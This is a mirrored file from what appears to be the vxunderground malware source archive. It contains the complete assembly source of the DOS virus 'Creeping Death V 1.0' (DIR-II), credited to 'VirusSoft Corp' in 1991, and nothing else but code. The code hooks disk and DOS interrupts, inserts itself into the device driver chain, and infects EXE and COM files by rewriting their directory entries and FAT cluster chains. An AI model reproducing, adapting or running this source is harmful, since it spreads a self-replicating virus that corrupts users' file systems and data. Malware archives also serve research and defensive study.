mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
486 lines
10 KiB
NASM
486 lines
10 KiB
NASM
; Creeping Death V 1.0
|
||
;
|
||
; (C) Copyright 1991 by VirusSoft Corp.
|
||
|
||
i13org = 5f8h
|
||
i21org = 5fch
|
||
|
||
org 100h
|
||
|
||
mov sp,600h
|
||
inc counter
|
||
xor cx,cx
|
||
mov ds,cx
|
||
lds ax,[0c1h]
|
||
add ax,21h
|
||
push ds
|
||
push ax
|
||
mov ah,30h
|
||
call jump
|
||
cmp al,4
|
||
sbb si,si
|
||
mov drive+2,byte ptr -1
|
||
mov bx,60h
|
||
mov ah,4ah
|
||
call jump
|
||
|
||
mov ah,52h
|
||
call jump
|
||
push es:[bx-2]
|
||
lds bx,es:[bx]
|
||
|
||
search: mov ax,[bx+si+15h]
|
||
cmp ax,70h
|
||
jne next
|
||
xchg ax,cx
|
||
mov [bx+si+18h],byte ptr -1
|
||
mov di,[bx+si+13h]
|
||
mov [bx+si+13h],offset header
|
||
mov [bx+si+15h],cs
|
||
next: lds bx,[bx+si+19h]
|
||
cmp bx,-1
|
||
jne search
|
||
jcxz install
|
||
|
||
pop ds
|
||
mov ax,ds
|
||
add ax,[3]
|
||
inc ax
|
||
mov dx,cs
|
||
dec dx
|
||
cmp ax,dx
|
||
jne no_boot
|
||
add [3],61h
|
||
no_boot: mov ds,dx
|
||
mov [1],8
|
||
|
||
mov ds,cx
|
||
les ax,[di+6]
|
||
mov cs:str_block,ax
|
||
mov cs:int_block,es
|
||
|
||
cld
|
||
mov si,1
|
||
scan: dec si
|
||
lodsw
|
||
cmp ax,1effh
|
||
jne scan
|
||
mov ax,2cah
|
||
cmp [si+4],ax
|
||
je right
|
||
cmp [si+5],ax
|
||
jne scan
|
||
right: lodsw
|
||
push cs
|
||
pop es
|
||
mov di,offset modify+1
|
||
stosw
|
||
xchg ax,si
|
||
mov di,offset i13org
|
||
cli
|
||
movsw
|
||
movsw
|
||
|
||
mov dx,0c000h
|
||
fdsk1: mov ds,dx
|
||
xor si,si
|
||
lodsw
|
||
cmp ax,0aa55h
|
||
jne fdsk4
|
||
cbw
|
||
lodsb
|
||
mov cl,9
|
||
sal ax,cl
|
||
fdsk2: cmp [si],6c7h
|
||
jne fdsk3
|
||
cmp [si+2],4ch
|
||
jne fdsk3
|
||
push dx
|
||
push [si+4]
|
||
jmp short death
|
||
install: int 20h
|
||
file: db "c:",255,0
|
||
fdsk3: inc si
|
||
cmp si,ax
|
||
jb fdsk2
|
||
fdsk4: inc dx
|
||
cmp dh,0f0h
|
||
jb fdsk1
|
||
|
||
sub sp,4
|
||
death: push cs
|
||
pop ds
|
||
mov bx,[2ch]
|
||
mov es,bx
|
||
mov ah,49h
|
||
call jump
|
||
xor ax,ax
|
||
test bx,bx
|
||
jz boot
|
||
mov di,1
|
||
seek: dec di
|
||
scasw
|
||
jne seek
|
||
lea si,[di+2]
|
||
jmp short exec
|
||
boot: mov es,[16h]
|
||
mov bx,es:[16h]
|
||
dec bx
|
||
xor si,si
|
||
exec: push bx
|
||
mov bx,offset param
|
||
mov [bx+4],cs
|
||
mov [bx+8],cs
|
||
mov [bx+12],cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
|
||
mov di,offset f_name
|
||
push di
|
||
mov cx,40
|
||
rep movsw
|
||
push cs
|
||
pop ds
|
||
|
||
mov ah,3dh
|
||
mov dx,offset file
|
||
call jump
|
||
pop dx
|
||
|
||
mov ax,4b00h
|
||
call jump
|
||
mov ah,4dh
|
||
call jump
|
||
mov ah,4ch
|
||
|
||
jump: pushf
|
||
call dword ptr cs:[i21org]
|
||
ret
|
||
|
||
|
||
;--------Installation complete
|
||
|
||
i13pr: mov ah,3
|
||
jmp dword ptr cs:[i13org]
|
||
|
||
|
||
main: push ax ; driver
|
||
push cx ; strategy block
|
||
push dx
|
||
push ds
|
||
push si
|
||
push di
|
||
|
||
push es
|
||
pop ds
|
||
mov al,[bx+2]
|
||
|
||
cmp al,4 ; Input
|
||
je input
|
||
cmp al,8
|
||
je output
|
||
cmp al,9
|
||
je output
|
||
|
||
call in
|
||
cmp al,2 ; Build BPB
|
||
jne ppp ;
|
||
lds si,[bx+12h]
|
||
mov di,offset bpb_buf
|
||
mov es:[bx+12h],di
|
||
mov es:[bx+14h],cs
|
||
push es
|
||
push cs
|
||
pop es
|
||
mov cx,16
|
||
rep movsw
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
mov al,[di+2-32]
|
||
cmp al,2
|
||
adc al,0
|
||
cbw
|
||
cmp [di+8-32],0
|
||
je m32
|
||
sub [di+8-32],ax
|
||
jmp short ppp
|
||
m32: sub [di+15h-32],ax
|
||
sbb [di+17h-32],0
|
||
|
||
ppp: pop di
|
||
pop si
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop ax
|
||
rts: retf
|
||
|
||
output: mov cx,0ff09h
|
||
call check
|
||
jz inf_sec
|
||
call in
|
||
jmp short inf_dsk
|
||
|
||
inf_sec: jmp _inf_sec
|
||
read: jmp _read
|
||
read_: add sp,16
|
||
jmp short ppp
|
||
|
||
input: call check
|
||
jz read
|
||
inf_dsk: mov byte ptr [bx+2],4
|
||
cld
|
||
lea si,[bx+0eh]
|
||
mov cx,8
|
||
save: lodsw
|
||
push ax
|
||
loop save
|
||
mov [bx+14h],1
|
||
call driver
|
||
jnz read_
|
||
mov byte ptr [bx+2],2
|
||
call in
|
||
lds si,[bx+12h]
|
||
mov ax,[si+6]
|
||
add ax,15
|
||
mov cl,4
|
||
shr ax,cl
|
||
mov di,[si+0bh]
|
||
add di,di
|
||
stc
|
||
adc di,ax
|
||
push di
|
||
cwd
|
||
mov ax,[si+8]
|
||
test ax,ax
|
||
jnz more
|
||
mov ax,[si+15h]
|
||
mov dx,[si+17h]
|
||
more: xor cx,cx
|
||
sub ax,di
|
||
sbb dx,cx
|
||
mov cl,[si+2]
|
||
div cx
|
||
cmp cl,2
|
||
sbb ax,-1
|
||
push ax
|
||
call convert
|
||
mov byte ptr es:[bx+2],4
|
||
mov es:[bx+14h],ax
|
||
call driver
|
||
again: lds si,es:[bx+0eh]
|
||
add si,dx
|
||
sub dh,cl
|
||
adc dx,ax
|
||
mov cs:gad+1,dx
|
||
cmp cl,1
|
||
je small
|
||
mov ax,[si]
|
||
and ax,di
|
||
cmp ax,0fff7h
|
||
je bad
|
||
cmp ax,0ff7h
|
||
je bad
|
||
cmp ax,0ff70h
|
||
jne ok
|
||
bad: pop ax
|
||
dec ax
|
||
push ax
|
||
call convert
|
||
jmp short again
|
||
small: not di
|
||
and [si],di
|
||
pop ax
|
||
push ax
|
||
inc ax
|
||
push ax
|
||
mov dx,0fh
|
||
test di,dx
|
||
jz here
|
||
inc dx
|
||
mul dx
|
||
here: or [si],ax
|
||
pop ax
|
||
call convert
|
||
mov si,es:[bx+0eh]
|
||
add si,dx
|
||
mov ax,[si]
|
||
and ax,di
|
||
ok: mov dx,di
|
||
dec dx
|
||
and dx,di
|
||
not di
|
||
and [si],di
|
||
or [si],dx
|
||
|
||
cmp ax,dx
|
||
pop ax
|
||
pop di
|
||
mov cs:pointer+1,ax
|
||
je _read_
|
||
mov dx,[si]
|
||
push ds
|
||
push si
|
||
call write
|
||
pop si
|
||
pop ds
|
||
jnz _read_
|
||
call driver
|
||
cmp [si],dx
|
||
jne _read_
|
||
dec ax
|
||
dec ax
|
||
mul cx
|
||
add ax,di
|
||
adc dx,0
|
||
push es
|
||
pop ds
|
||
mov [bx+12h],2
|
||
mov [bx+14h],ax
|
||
test dx,dx
|
||
jz less
|
||
mov [bx+14h],-1
|
||
mov [bx+1ah],ax
|
||
mov [bx+1ch],dx
|
||
less: mov [bx+10h],cs
|
||
mov [bx+0eh],100h
|
||
call write
|
||
|
||
_read_: std
|
||
lea di,[bx+1ch]
|
||
mov cx,8
|
||
load: pop ax
|
||
stosw
|
||
loop load
|
||
_read: call in
|
||
|
||
mov cx,9
|
||
_inf_sec:
|
||
mov di,es:[bx+12h]
|
||
lds si,es:[bx+0eh]
|
||
sal di,cl
|
||
xor cl,cl
|
||
add di,si
|
||
xor dl,dl
|
||
push ds
|
||
push si
|
||
call find
|
||
jcxz no_inf
|
||
call write
|
||
and es:[bx+4],byte ptr 07fh
|
||
no_inf: pop si
|
||
pop ds
|
||
inc dx
|
||
call find
|
||
jmp ppp
|
||
|
||
;--------Subroutines
|
||
|
||
find: mov ax,[si+8]
|
||
cmp ax,"XE"
|
||
jne com
|
||
cmp [si+10],al
|
||
je found
|
||
com: cmp ax,"OC"
|
||
jne go_on
|
||
cmp byte ptr [si+10],"M"
|
||
jne go_on
|
||
found: test [si+1eh],0ffc0h ; >4MB
|
||
jnz go_on
|
||
test [si+1dh],03ff8h ; <2048B
|
||
jz go_on
|
||
test [si+0bh],byte ptr 1ch
|
||
jnz go_on
|
||
test dl,dl
|
||
jnz rest
|
||
pointer: mov ax,1234h
|
||
cmp ax,[si+1ah]
|
||
je go_on
|
||
xchg ax,[si+1ah]
|
||
gad: xor ax,1234h
|
||
mov [si+14h],ax
|
||
loop go_on
|
||
rest: xor ax,ax
|
||
xchg ax,[si+14h]
|
||
xor ax,cs:gad+1
|
||
mov [si+1ah],ax
|
||
go_on: ;rol cs:gad+1,1
|
||
db 2eh,0d1h,6
|
||
dw offset gad+1
|
||
add si,32
|
||
cmp di,si
|
||
jne find
|
||
ret
|
||
|
||
check: mov ah,[bx+1]
|
||
drive: cmp ah,-1
|
||
mov cs:[drive+2],ah
|
||
jne changed
|
||
push [bx+0eh]
|
||
mov byte ptr [bx+2],1
|
||
call in
|
||
cmp byte ptr [bx+0eh],1
|
||
pop [bx+0eh]
|
||
mov [bx+2],al
|
||
changed: ret
|
||
|
||
write: cmp byte ptr es:[bx+2],8
|
||
jae in
|
||
mov byte ptr es:[bx+2],4
|
||
mov si,70h
|
||
mov ds,si
|
||
modify: mov si,1234h
|
||
push [si]
|
||
push [si+2]
|
||
mov [si],offset i13pr
|
||
mov [si+2],cs
|
||
call in
|
||
pop [si+2]
|
||
pop [si]
|
||
ret
|
||
|
||
driver: mov es:[bx+12h],1
|
||
in:
|
||
db 09ah
|
||
str_block:
|
||
dw ?,70h
|
||
db 09ah
|
||
int_block:
|
||
dw ?,70h
|
||
test es:[bx+4],byte ptr 80h
|
||
ret
|
||
|
||
convert: cmp ax,0ff0h
|
||
jae fat_16
|
||
mov si,3
|
||
xor cs:[si+gad-1],si
|
||
mul si
|
||
shr ax,1
|
||
mov di,0fffh
|
||
jnc cont
|
||
mov di,0fff0h
|
||
jmp short cont
|
||
fat_16: mov si,2
|
||
mul si
|
||
mov di,0ffffh
|
||
cont: mov si,512
|
||
div si
|
||
header: inc ax
|
||
ret
|
||
|
||
counter: dw 0
|
||
|
||
dw 842h
|
||
dw offset main
|
||
dw offset rts
|
||
db 7fh
|
||
|
||
param: dw 0,80h,?,5ch,?,6ch,?
|
||
|
||
bpb_buf: db 32 dup(?)
|
||
f_name: db 80 dup(?)
|
||
|
||
;--------The End.
|
||
|